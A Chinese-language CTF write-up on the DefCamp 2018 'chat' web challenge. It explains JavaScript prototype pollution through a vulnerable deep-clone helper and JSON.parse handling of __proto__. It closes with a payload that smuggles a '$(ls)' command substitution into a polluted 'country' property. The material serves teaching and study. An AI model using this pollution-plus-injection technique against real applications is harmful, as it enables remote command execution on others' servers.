Defcamp(DCTF) 2018-chat Prototype pollution attack有感

前言

由于最近要给学弟们做个小测试,因此要出一个web题,由于最近学习了js原型链的污染,因此像把它作为一个思路来出题。

0x01 Prototype pollution attack
这里我们需要使用原型污染(Prototype pollution attack)的攻击方法。
说原型污染前我们先了解一下JS里的原型继承的原理。
1
2
3
4
当谈到继承时,JavaScript 只有一种结构:对象。
每个实例对象(object)都有一个私有属性(称之为 proto)指向它的原型对象(prototype)。
该原型对象也有一个自己的原型对象 ,层层向上直到一个对象的原型对象为 null。
根据定义,null 没有原型,并作为这个原型链中的最后一个环节。
1
2
3
当我们o = new F 创建一个实例o的时候,会给o添加一个proto属性,通过protp会找到 F.prototype,也就是所属类的原型。
当我们通过o访问一个属性的时候,比如o.name,会先在实例o上查找,没有的话js会通过proto去类的原型上找,由于原型也是一个对象,它也有proto属性,默认会找到Object的原型。
所以,当我们的Child类想通过继承访问Super类上的属性/方法,可以通过设置Child的原型,能访问到Super的原型,就可以访问Super类的公用属性和方法了。
上面两段是截取网上感觉说得比较好的解释。对于JS的原型链我们可以用c/c++里的继承辅助理解,但不同的是js是单继承的,所以只能形成链状,这不同于C/C++的多继承。
我们可以通过下面的例子理解一下:
1
2
3
4
5
6
7
8
9
10
11
12
a = {}
{}
b = {}
{}
b["__proto__"]
{constructor: ƒ, __defineGetter__: ƒ, __defineSetter__: ƒ, hasOwnProperty: ƒ, __lookupGetter__: ƒ, …}
b["__proto__"]["admin"] = true
true
b["admin"]
true
a["admin"]
true

可以看到通过修改b["__proto__"]的属性可以为a增加一个叫admin的属性。这里可以简单的把b["__proto__"]理解为b(a)的父类,那么通过b["__proto__"]["admin"] = true为父类增加了一个属性,在使用a["admin"]的使用首先会从自身的属性里查找admin,如果没有则向上级类查找,从而在父类中得到admin的值。这跟c++的继承原理颇为相似。
我们在这个题目环境中,在helper.js里发现有个clone函数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
clone: function(obj) {

if (typeof obj !== 'object' ||
obj === null) {

return obj;
}

var newObj;
var cloneDeep = false;

if (!Array.isArray(obj)) {
if (Buffer.isBuffer(obj)) {
newObj = new Buffer(obj);
}
else if (obj instanceof Date) {
newObj = new Date(obj.getTime());
}
else if (obj instanceof RegExp) {
newObj = new RegExp(obj);
}
else {

var proto = Object.getPrototypeOf(obj);
console.log("\n[*] Object.getPrototypeOf(obj) = " + JSON.stringify(proto) + "\n")
if (proto &&
proto.isImmutable) {

newObj = obj;
}
else {
newObj = Object.create(proto);
cloneDeep = true;
}
}
}
else {
newObj = [];
cloneDeep = true;
}

if (cloneDeep) {
var keys = Object.getOwnPropertyNames(obj);

for (var i = 0; i < keys.length; ++i) {
var key = keys[i];
var descriptor = Object.getOwnPropertyDescriptor(obj, key);
if (descriptor &&
(descriptor.get ||
descriptor.set)) {

Object.defineProperty(newObj, key, descriptor);
}
else {
newObj[key] = this.clone(obj[key]);
}
}
}

return newObj;
}
他会对传入的对象取出key,value,然后clone出一个新的object返回。根据代码,它实行的是深度拷贝(deep clone),使用了for循环(keys.length)将所以的属性都拷贝一次(递归拷贝)。
所以我们可以尝试污染掉inputUser = {...}的上级父类(proto)。
题目中是newUser = helper.clone(JSON.parse(inUser))这样调用clone的,而JSON.parse跟__proto__会产生危险的反应,先上个例子:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
>const plainObj = {
__proto__: { a: 1 },
b: 2
};
<undefined
>plainObj
<{b: 2}
>plainObj.__proto__
<{a: 1}
>const jsonString = `{
"__proto__": { "a": 1 },
"b": 2
}`;
<undefined
>const parsedObj = JSON.parse(jsonString);
<undefined
>parsedObj
<{b: 2}
>parsedObj.__proto__
<{a: 1}

可以看出在JSON.parse的时候把proto当成了属性处理,并没有过滤这个属性。所以我们可以通过这个方式来把我们需要的值添加到该对象的原型链上。
这里注意我们需要直接使用字符串,而不是构造好{},再用JSON.stringify()得到字符串,因为在stringify的时候会忽略__proto__。如:
1
2
3
4
5
const inputUser = {
name: 'admin',
__proto__: '{"country": "\'$(ls)\'"}'
};
console.log(JSON.stringify(inputUser));

参考链接
https://delcoding.github.io/2018/09/defcamp-dctf-2018-writeup/
https://www.jianshu.com/p/5336c6328b91
https://rawsec.ml/en/defcamp-2018-quals-write-ups/#211-chat-web